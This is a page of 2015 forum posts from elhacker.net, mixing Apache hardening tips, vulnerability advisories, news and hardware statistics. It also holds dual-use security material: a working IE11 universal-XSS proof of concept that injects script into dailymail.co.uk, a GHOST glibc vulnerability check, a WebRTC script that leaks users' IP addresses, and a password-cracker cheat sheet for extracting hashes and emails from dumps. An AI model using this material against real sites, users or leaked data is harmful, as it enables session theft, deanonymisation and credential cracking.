elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ... 36
121  Programación / Desarrollo Web / Seguridad y Hardening en Apache en: 11 Febrero 2015, 13:03 pm
Fortificando Apache

HTTP Request Methods

Default apache configuration support OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT method in HTTP 1.1 protocol.

Código
  1. <LimitExcept GET POST HEAD>
  2. deny from all
  3. </LimitExcept>
  4.  


Web Application Security

Disable Trace HTTP Request

Código
  1. TraceEnable off
  2.  


Set cookie with HttpOnly and Secure flag

Requiere mod_headers

Código
  1. Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
  2.  


Clickjacking Attack

https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options

<iframe> <object>

Opciones:

X-Frame-Options

DENY, SAMEORIGIN, ALLOW-URL url



Código
  1. Header always append X-Frame-Options SAMEORIGIN
  2.  

Cross Site Scripting (XSS)

Código
  1. Header set X-XSS-Protection "1; mode=block"
  2.  


HTTP Strict Transport Security

https://www.owasp.org/index.php/HTTP_Strict_Transport_Security

Código
  1. Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"
  2.  

Todo junto fichero confgiuración httpd.conf

Código
  1.  
  2. CoreDumpDirectory /tmp
  3.  
  4. # bajar timeout, por defecto 300
  5. Timeout 80
  6.  
  7. # Maximum size of the request body.
  8. #LimitRequestBody 10000
  9. # Maximum number of request headers in a request.
  10. LimitRequestFields 40
  11. # Maximum size of request header lines.
  12. LimitRequestFieldSize 4094
  13. # Maximum size of the request line.
  14. #request failed: URI too long (longer than 500)
  15. #LimitRequestLine 500
  16.  
  17. #nuevo antidos
  18. #RLimitCPU 10 20
  19. #RLimitCPU 100 100
  20. #RLimitMEM 10000000 10000000
  21. #RLimitNPROC 25 25
  22.  
  23. # esconder versión Apache, aka  version banner
  24. ServerTokens Prod
  25.  
  26. #seguridad
  27. # http://httpd.apache.org/docs/2.2/mod/core.html#traceenable
  28. TraceEnable off
  29.  
  30. #seguridad
  31.  
  32. <ifModule mod_headers.c>
  33. Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
  34. #https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options
  35. Header always append X-Frame-Options SAMEORIGIN
  36. Header set X-XSS-Protection "1; mode=block"
  37. Header set X-Content-Type-Options: "nosniff"
  38. </ifModule>
  39.  
  40. # https ssl
  41.  
  42. SSLRandomSeed startup file:/dev/urandom 1024
  43.  
  44. <IfDefine SSL>
  45.  
  46. # enable SSLv3 and TLSv1, but not SSLv2
  47. #SSLProtocol all -SSLv2
  48. #SSLProtocol -ALL +SSLv3 +TLSv1
  49. # https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-#secrecy
  50. # new 2014
  51. # https://www.ssllabs.com/ssltest/analyze.html?d=foro.elhacker.net
  52. # Grade A, antes Grade F
  53. SSLProtocol all -SSLv2 -SSLv3
  54. SSLHonorCipherOrder on
  55. SSLCipherSuite "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 \
  56. EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 \
  57. EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS"
  58. #SSLCipherSuite ALL:!ADH:!NULL:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+TLSv1 SLv2:+EXP:+eNULL
  59.  
  60. # mozilla
  61. # https://wiki.mozilla.org/Security/Server_Side_TLS
  62. # SSLCipherSuite AES256+EECDH:AES256+EDH:!aNULL:!eNULL
  63.  
  64. # noviembre 2014
  65. SSLProtocol All -SSLv2 -SSLv3
  66. SSLHonorCipherOrder on
  67. SSLCipherSuite "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+AESGCM EECDH EDH+AESGCM EDH+aRSA HIGH !MEDIUM !LOW !aNULL !eNULL !LOW !RC4 !MD5 !EXP !PSK !SRP !DSS"
  68.  
  69. </IfDefine>
  70.  
122  Seguridad Informática / Nivel Web / Google Play Store X-Frame-Options (XFO) Gaps Enable Android Remote Code Executio en: 11 Febrero 2015, 12:58 pm

Vulnerability Summary

Due to a lack of complete coverage for X-Frame-Options (XFO) support on Google's Play Store web application domain, a malicious user can leverage either a Cross-Site Scripting (XSS) vulnerability in a particular area of the Google Play Store web application, or a Universal XSS (UXSS) targeting affected browsers, to remotely install and launch the main intent of an arbitrary Play Store provided Android package (APK).

https://community.rapid7.com/community/metasploit/blog/2015/02/10/r7-2015-02-google-play-store-x-frame-options-xfo-gaps-enable-android-remote-code-execution-rce
123  Foros Generales / Noticias / España sufrió en el 2014 más de 70.000 ataques cibernéticos en: 6 Febrero 2015, 18:59 pm
España sufrió en el 2014 más de 70.000 ataques cibernéticos, la cifra más alta tras EEUU y Reino Unido


España sufrió en el 2014 más de 70.000 ataques cibernéticos, lo que le convierte en el tercer país del mundo que más agresiones de este tipo recibe, solo por detrás de EEUU y Reino Unido, ha revelado este jueves el ministro de Asuntos Exteriores y de Cooperación, José Manuel García-Margallo.

Estos ataques se dirigieron contra diferentes órganos de la Administración pública, pero entre sus víctimas también figuran empresas y ciudadanos, ha precisado el jefe de la diplomacia española, que ha rehusado dar a la prensa más detalles sobre esta revelación al término de su intervención.

El ministro del Interior, Jorge Fernández Díaz, presente en el acto, tampoco ha querido precisar de dónde venían estas agresiones o a quiénes ha afectado, más allá de señalar que "no pocos" de esos ataques se han dirigido contra la "Administración pública". Eso sí, ha querido mandar un mensaje de tranquilidad a la opinión pública, pues el Gobierno está "trabajando muy intensamente" para protegerse frente a esta amenaza. "Estamos haciendo los deberes", ha remachado.

En su intervención en la conferencia, García-Margallo ha recordado que el Ejecutivo cuenta desde diciembre del 2013 con un Consejo Nacional de Ciberseguridad encargado de coordinar a los diferentes Ministerios que en la actualidad elaboran un Plan Nacional en la materia, que tendrá en cuenta las estrategias de la UE y la OTAN sobre ciberseguridad .

La Estrategia de Seguridad Nacional española, ha añadido, ya identifica los actos hostiles que llegan a través del ciberespacio como "una de las 12 amenazas más serias" para el país. No obstante, García-Margallo ha subrayado que el ciberespacio "también es un espacio de libertad".

Por eso ha advertido de que, aunque puede ser "comprensible" tener la "tentación de controlar y restringir" el uso de Internet con el "pretexto de garantizar la seguridad", actuar de esta manera podría tener "errores fatales para el progreso humano".

Fuente:
http://www.elperiodico.com/es/noticias/sociedad/espana-sufrio-2014-mas-70000-ataques-ciberneticos-cifra-mas-alta-tras-eeuu-reino-unido-3912391

Más información:

¿Cómo detecta España los 70.000 ataques cibernéticos que cuenta el Ministro Margallo?
http://www.elladodelmal.com/2015/02/como-detecta-espana-los-70000-ataques.html
124  Seguridad Informática / Bugs y Exploits / XSS en Internet Explorer 11 en: 4 Febrero 2015, 11:08 am
La última versión estable de Internet Explorer, la 11.0.15, puede permitir a un atacante inyectar código y robar los datos de otras páginas que el usuario tiene abiertas en otras pestañas o ventanas. Se trata de un Cross Site Scripting universal o UXSS que evade totalmente la Política del Mismo Origen o Same Origin Policy (SOP), es decir, da igual que una web tenga o no vulnerabilidades XSS, sólo por usar la última versión del navegador de Microsoft el usuario está expuesto a que le roben los datos de su sesión en cualquier otro dominio, incluso HTTP a HTTPS.

Existe una PoC en la que se demuestra como es posible inyectar código en el Daily Mail a través de otro dominio distinto:

http://www.deusen.co.uk/items/insider3show.3362009741042107/

Código:
<iframe style="display:none;" width=300 height=300 id=i name=i src="1.php"></iframe><br>
<iframe width=300 height=100 frameBorder=0 src="http://www.dailymail.co.uk/robots.txt"></iframe><br>
<script>
function go()
{
  w=window.frames[0];
  w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\\'Close this window after 3 seconds...\\');x.location=\\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body.innerHTML%3D%27%3Ca%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen%3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3Dwindow.open(%27http%3A%2F%2Fwww.dailymail.co.uk%27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2C%20width%3D800%2C%20height%3D600%2C%20location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%27a()%27%2C7000)%3B%7D%3C%2Fscript%3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C%2Fa%3E%22\\';'))",1);
}
setTimeout("go()",1000);
</script>

Por el momento Microsoft no ha publicado un parche para solucionar esta vulnerabilidad. Estamos probando distintas mitigaciones y analizando el bug (en versiones anteriores la PoC no funciona) pero por el momento aconsejamos usar otros navegadores.

Fuente:
http://www.hackplayers.com/2015/02/xss-universal-en-ie11.html
125  Programación / Bases de Datos / MySQL Replication: What’s New in MySQL 5.7 and Beyond en: 28 Enero 2015, 11:37 am
Citar
Continuing in the footsteps of its predecessor, MySQL 5.7 is set to be a groundbreaking release. In this webinar, the engineers behind the product provide insights into what’s new for MySQL replication in the latest 5.7 Development Milestone Release and review the early access features available via labs.mysql.com. The next generation of replication features cover several technical areas such as better semi-synchronous replication, an enhanced multithreaded slave (per-transaction parallelism), improved monitoring with performance schema tables, online configuration changes, options for fine-tuning replication performance, support for more-advanced topologies with multisource replication, and much more. This is also a great chance to learn about MySQL Group Replication – the next generation of active-active, update-anywhere replication for MySQL.

http://www.slideshare.net/andrewjamesmorgan/mysql-replication-whats-new-in-mysql-57-and-beyond
126  Sistemas Operativos / GNU/Linux / GHOST: PoC en: 27 Enero 2015, 18:26 pm
GHOST: glibc: buffer overflow en gethostbyname CVE-2015-0235
http://blog.elhacker.net/2015/01/ghost-glibc-buffer-overflow-en-gethostbyname-cve-2015-0235.html

Código
  1. #include <netdb.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <errno.h>
  6.  
  7. #define CANARY "in_the_coal_mine"
  8.  
  9. struct {
  10.  char buffer[1024];
  11.  char canary[sizeof(CANARY)];
  12. } temp = { "buffer", CANARY };
  13.  
  14. int main(void) {
  15.  struct hostent resbuf;
  16.  struct hostent *result;
  17.  int herrno;
  18.  int retval;
  19.  
  20.  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  21.  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  22.  char name[sizeof(temp.buffer)];
  23.  memset(name, '0', len);
  24.  name[len] = '\0';
  25.  
  26.  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
  27.  
  28.  if (strcmp(temp.canary, CANARY) != 0) {
  29.    puts("vulnerable");
  30.    exit(EXIT_SUCCESS);
  31.  }
  32.  if (retval == ERANGE) {
  33.    puts("not vulnerable");
  34.    exit(EXIT_SUCCESS);
  35.  }
  36.  puts("should not happen");
  37.  exit(EXIT_FAILURE);
  38. }


Código:
 gcc GHOST.c -o GHOST
127  Programación / Desarrollo Web / Obtener la ip local y remota usando javascript en: 27 Enero 2015, 17:31 pm
Get local and public IP addresses in javascript (github.com)
https://github.com/diafygi/webrtc-ips

Usando WebRTC


Código
  1. //get the IP addresses associated with an account
  2. function getIPs(callback){
  3.    var ip_dups = {};
  4.  
  5.    //compatibility for firefox and chrome
  6.    var RTCPeerConnection = window.RTCPeerConnection
  7.        || window.mozRTCPeerConnection
  8.        || window.webkitRTCPeerConnection;
  9.    var mediaConstraints = {
  10.        optional: [{RtpDataChannels: true}]
  11.    };
  12.  
  13.    //firefox already has a default stun server in about:config
  14.    //    media.peerconnection.default_iceservers =
  15.    //    [{"url": "stun:stun.services.mozilla.com"}]
  16.    var servers = undefined;
  17.  
  18.    //add same stun server for chrome
  19.    if(window.webkitRTCPeerConnection)
  20.        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
  21.  
  22.    //construct a new RTCPeerConnection
  23.    var pc = new RTCPeerConnection(servers, mediaConstraints);
  24.  
  25.    //listen for candidate events
  26.    pc.onicecandidate = function(ice){
  27.  
  28.        //skip non-candidate events
  29.        if(ice.candidate){
  30.  
  31.            //match just the IP address
  32.            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
  33.            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
  34.  
  35.            //remove duplicates
  36.            if(ip_dups[ip_addr] === undefined)
  37.                callback(ip_addr);
  38.  
  39.            ip_dups[ip_addr] = true;
  40.        }
  41.    };
  42.  
  43.    //create a bogus data channel
  44.    pc.createDataChannel("");
  45.  
  46.    //create an offer sdp
  47.    pc.createOffer(function(result){
  48.  
  49.        //trigger the stun server request
  50.        pc.setLocalDescription(result, function(){});
  51.  
  52.    }, function(){});
  53. }
  54.  
  55. //Test: Print the IP addresses into the console
  56. getIPs(function(ip){console.log(ip);});
128  Programación / PHP / Actualizaciones de PHP 5.6.5, 5.5.21 y 5.4.37 en: 23 Enero 2015, 19:25 pm
Fecha de publicación:
    23/01/2015

Recursos afectados

    Versiones de la rama 5.6 de PHP anteriores a la 5.6.5.
    Versiones de la rama 5.5 de PHP anteriores a la 5.5.21.
    Versiones de la rama 5.4 de PHP anteriores a la 5.4.37.

Descripción

PHP ha publicado las versiones 5.6.5, 5.5.21 y 5.4.37, que corrigen múltiples fallos en distintos componentes del software, incluido el core.
Solución

Aplicar las actualizaciones 5.6.5, 5.5.21 y 5.4.37 segun la rama correspondiente.
Detalle

Las actualizaciones solucionan múltiples fallos en las versiones afectadas, incluyendo la corrección de las siguientes vulnerabilidades:

    Uso después de liberación de memoria en la función unserialize(). Esta vulnerabilidad tiene asociado el identificador CVE-2015-0231.
    Caída de php-cgi por acceso de lectura fuera de límites. Esta vulnerabilidad tiene asociado el identificador CVE-2014-9427.
    Llamada de liberación de memoria sobre puntero sin inicializar. Esta vulnerabilidad tiene asociado el identificador CVE-2015-0232.

Referencias

    PHP Changelog

http://php.net/ChangeLog-5.php


Fuente:
https://www.incibe.es/securityAdvice/CERT/Alerta_Temprana/Avisos_seguridad_tecnicos/actualizaciones_php_565_5521_5437_20150123
129  Informática / Hardware / Mejor Disco duro 2014 (según Backblaze) en: 22 Enero 2015, 17:58 pm
Según un estudio realizado por la empresa Backblaze entre más de 25,000 discos duros:


Hitachi Vs Seagate Vs Western Digital



Modelos analizados:

HGST Deskstar
HGST Megascale

Seagate Barracuda
Seagate Desktop

Western Digital Red

Evolución de número de discos duros:



Los que menos fallan:



Los disdos duros de 4TB son fantásticos.

Cuidado con los discos durosde 3TB de Seagate y de 1,5TB



Todavía no tienen suficiente información recopilada sobre los discos duros de 6TB


Tiempo de vida media según marca:




El 80% de los discos duros tienen una media de 4 años.



Fuente:
https://www.backblaze.com/blog/best-hard-drive/

https://www.backblaze.com/blog/what-hard-drive-should-i-buy/

Más info:
http://blog.elhacker.net/2013/03/modelos-marcas-mejor-disco-duro-multimedia-externo-ssd.html
130  Seguridad Informática / Hacking / Cheat-sheet para password crackers en: 22 Enero 2015, 17:40 pm
Extract md5 hashes

Código:
# egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt

An alternative could be with sed

Código:
# sed -rn 's/.*[^a-fA-F0-9]([a-fA-F0-9]{32})[^a-fA-F0-9].*/\1/p' *.txt > md5-hashes

Extract valid MySQL-Old hashes

Código:
# grep -e "[0-7][0-9a-f]\{7\}[0-7][0-9a-f]\{7\}" *.txt > mysql-old-hashes.txt

Extract blowfish hashes

Código:
# grep -e "\$2a\\$\08\\$\(.\)\{75\}" *.txt > blowfish-hashes.txt

Extract Joomla hashes

Código:
# egrep -o "([0-9a-zA-Z]{32}):(\w{16,32})" *.txt > joomla.txt

Extract VBulletin hashes

Código:
# egrep -o "([0-9a-zA-Z]{32}):(\S{3,32})" *.txt > vbulletin.txt

Extraxt phpBB3-MD5

Código:
# egrep -o '\$H\$\S{31}' *.txt > phpBB3-md5.txt

Extract Wordpress-MD5

Código:
# egrep -o '\$P\$\S{31}' *.txt > wordpress-md5.txt

Extract Drupal 7

Código:
# egrep -o '\$S\$\S{52}' *.txt > drupal-7.txt

Extract old Unix-md5

Código:
# egrep -o '\$1\$\w{8}\S{22}' *.txt > md5-unix-old.txt

Extract md5-apr1

Código:
# egrep -o '\$apr1\$\w{8}\S{22}' *.txt > md5-apr1.txt

Extract sha512crypt, SHA512(Unix)

Código:
# egrep -o '\$6\$\w{8}\S{86}' *.txt > sha512crypt.txt

Extract e-mails from text files

Código:
# grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+\.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt

Extract HTTP URLs from text files

Código:
# grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt


Fuente:
http://www.unix-ninja.com/p/A_cheat-sheet_for_password_crackers/
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ... 36
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines